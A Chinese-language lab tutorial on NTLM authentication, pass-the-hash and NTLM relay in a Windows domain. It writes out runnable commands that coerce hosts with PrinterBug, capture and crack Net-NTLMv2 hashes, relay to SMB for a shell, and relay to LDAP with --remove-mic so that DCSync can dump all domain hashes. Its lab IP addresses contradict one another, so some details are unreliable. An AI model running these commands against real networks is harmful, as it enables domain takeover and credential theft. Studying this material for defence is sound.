【内网渗透】——NTML以及Hash Relay
【内网渗透】——NTLM以及Hash Relay
文章目录
- 【内网渗透】——NTLM以及Hash Relay
- @[toc]
- 前情提要
- 1.NTML网络认证机制
- 1.1NTML协议
- 1.2NET NTMLv2
- 1.3NTML的认证方式
- 1.4NTLM hash的生成方法:
- 2.PTH(pass the hash)
- 2.1原理
- 2.2漏洞原理
- 2.3实验环境
- 2.4攻击过程
- 3Hash Relay
- 3.1概念
- 3.2Relay to SMB
- 3.3获取权限
- 4Relay To LDAP
- 4.1概念
- 4.2利用条件
- 4.3**漏洞利用攻击链**
- 4.4漏洞复现
文章目录
- 【内网渗透】——NTLM以及Hash Relay
- @[toc]
- 前情提要
- 1.NTML网络认证机制
- 1.1NTML协议
- 1.2NET NTMLv2
- 1.3NTML的认证方式
- 1.4NTLM hash的生成方法:
- 2.PTH(pass the hash)
- 2.1原理
- 2.2漏洞原理
- 2.3实验环境
- 2.4攻击过程
- 3Hash Relay
- 3.1概念
- 3.2Relay to SMB
- 3.3获取权限
- 4Relay To LDAP
- 4.1概念
- 4.2利用条件
- 4.3**漏洞利用攻击链**
- 4.4漏洞复现
前情提要
Windows内部不保存明文密码,只保存密码的hash。存放在本地的%SystemRoot%\system32\config\sam
文件之中。类似的,在域环境下,DC (Domain Controller,域控制器)中也存在这样的数据库AD (Account Database)
,位于ntds.dit
文件而为了解决LM加密和身份验证方案中固有的安全弱点,引入了NTML协议。
1.NTML网络认证机制
1.1NTML协议
NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
NTLM是除Kerberos
之外的一种网络认证协议,只支持Windows。它是一种基于质询/应答 (Challenge/Response)消息交换模式的认证机制, 常用于工作组和域环境下登录场景的身份认证
。
[!NOTE]
NTML认证流程
1.用户使用本地账户的凭证,服务器在本地数据库中拥有该账户的密码,可以对用户进行验证.
2.在Active Directory中,用户身份验证期间使用域用户,这个时候会要求域控制器对其用户进行验证.
1.2NET NTMLv2
NTMLv1和NTMLv2最显著的区别就是Challenge与加密算法不同
Net-ntlm hash v1的格式为:
username::hostname:LM response:NTLM response:challengeNet-ntlm hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob
1.3NTML的认证方式
①交互式验证
:交互式提供必要凭据,通常应用场景通常为登录,即用户要登录某台客户端。
②非交互式验证
:无需交互式提供凭据,在实际应用中,比如命令行直接指定用户名、密码的方式登录,再比如我们在客户端上使用net use
命令去映射服务器上某个共享文件夹的方式,这些便属于属于非交互式认证。但非交互式认证的应用场景更多的是已登录某客户端的用户去请求另一台服务器的资源 ,或者为单点登录(SSO)的方式,即用户只需要登录一次即可访问所有相互信任的应用系统及共享资源。
net use x: \\17.10.0.10\$share /u:administrator password
[!NOTE]
x:
- 指定将网络共享映射到本地的 X: 驱动器\\17.10.0.10\$share
- 网络共享路径
\\17.10.0.10
- 目标服务器的 IP 地址\$share
- 服务器上的共享文件夹名称- 注意:共享名前的
$
表示这是一个隐藏共享(默认情况下在浏览网络时不可见)/u:administrator password
- 认证凭据
/u:administrator
- 指定使用 “administrator” 用户名连接password
- 指定该用户的密码(注意:这里密码是以明文形式显示)
1.4NTLM hash的生成方法:
-
将明文口令转换成十六进制的格式
-
转换成Unicode格式,即在每个字节之后添加0x00
-
对Unicode字符串作MD4加密,生成32位的十六进制数字串
NTML hash=md4(Unicode("password"))共16个字节
2.PTH(pass the hash)
2.1原理
-
攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
-
利用中继(Relay):攻击者截获受害者的 NTLM 认证流量(如SMB、HTTP等),将其转发至目标服务器,冒充受害者身份完成认证。
-
无需破解密码:直接使用捕获的 NTLM Hash 或 Net-NTLMv2 Hash 进行身份验证。
PrinterBug (SpoolSample) 漏洞利用
2.2漏洞原理
PrinterBug(CVE-未分配,MS-RPRN滥用)允许攻击者强制 Windows 主机(包括域控制器)向攻击者控制的机器发起 NTLM 认证,从而捕获 NTLMv2 Hash 或进行 NTLM Relay 攻击。
2.3实验环境
角色 | IP | 主机 | 备注 |
---|---|---|---|
攻击机(KaliLinux) | 192.168.66.65 | root | 运行 Responder/Impacket |
目标机(windows10) | 192.168.70.149 | DESKTOP-SMR8SKD.test.com | 启用 Spooler 服务 |
域控制器(Windows08) | 192.168.70.149 | WIN-ISB0SNPKEPI.test.com | 用于 NTLM Relay |
2.4攻击过程
①确认目标print spooler服务状态
②启动Responder监听,在攻击机上启动responder,准备捕获NTML认证
sudo responder -I eth0 -A -v
[!NOTE]
-I eth0
:指定监听接口-A
:仅捕获认证不主动攻击-v
:显示详细日志
③使用Impacket工具包中的printerbug.py
触发漏洞
python3 printerbug.py test.com/s4u2@192.168.70.151 192.168.70.134
[!NOTE]
test.com/s4u2
:域账号凭据@192.168.70.151
:目标服务器192.168.70.134
:攻击机IP(Responder监听地址)
④捕获Net-NTLMv2 Hash成功
Hash会被自动保存在/usr/share/responder/logs/
目录下。
⑤Hash破解(可选)
可以使用Hashcat尝试破解捕获的Hash:
hashcat -m 5600 hash.txt rockyou.txt
[!NOTE]
-m 5600
:指定Net-NTLMv2 Hash类型hash.txt
:包含捕获的Hash文件rockyou.txt
:密码字典
3Hash Relay
3.1概念
它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的**NTLM Relay(NTLM 中继)**攻击。
前情条件这样才可以进行relay攻击
进行NTLM Relay攻击有两步:
- 第一步是获取Net-NTLM Hash
- 第二步是重放Net-NTLM Hash
3.2Relay to SMB
NTLM Relay的一种常见用途是在域中通过relay到smb服务,将管理组成员中继到一些敏感的机器上。直接Relay到SMB服务器,是最直接简单的方法。可以直接控制该服务器执行任意命令、dump hash等操作
relay到smb服务要求被攻击机器不能开启SMB签名,普通域内机器默认不是开启的,但是域控是默认开启的。在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。
3.3获取权限
Responder下的MultiRelay.py脚本
该脚本功能强大,通过ALL参数可以获得一个稳定的shell,还有抓密码等其他功能。
python2 MultiRelay.py -t 192.168.111.131 -u ALL
①WIN2008的SMB服务默认关闭
②WIN10的SMB服务
③利用漏洞强制注入(printerbug)获得权限
python3 printerbug.py test.com/s4u2@192.168.70.135 192.168.70.134
④攻击流程图
4Relay To LDAP
4.1概念
relay到ldap有两个经典的利用:CVE-2018-8581和CVE-2019-1040
4.2利用条件
relay到ldap主要有三个利用思路,在impacket里面的ntlmrelayx都有实现
- Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。
- 域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
- CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
- 构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。
- 如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)
4.3漏洞利用攻击链
- 使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
- 中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
- 使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。
- 攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。
4.4漏洞复现
4.4.1复现环境
DC :
Windows server 2008 R2
192.168.70.151
WIN-ISB0SPNKEPI.test.com
Exchange:
Windows 10
192.168.70.135
DESKTOP-SMR8SKD.test.com
攻击机: Kali
192.168.70.134
已获得的普通域用户:
s4u2
QAX@123
①执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限。
impacket-ntlmrelayx -t ldap://192.168.70.158 -smb2support --remove-mic --no-dump --no-da
impacket-ntlmrelayx -t ldaps://192.168.70.158 -smb2support --remove-mic --no-dump --no-da(域控IP)
② 执行printerbug.py脚本,触发SpoolService的bug。
python3 printerbug.py test.com/s4u2@192.168.70.156 192.168.70.134(WIN10 kali)
③SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是
接着ntlmrelayx.py开始执行LDAP攻击。
④ 之后,s4u2就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值:
也就是说 s4u2用户已经具有高权限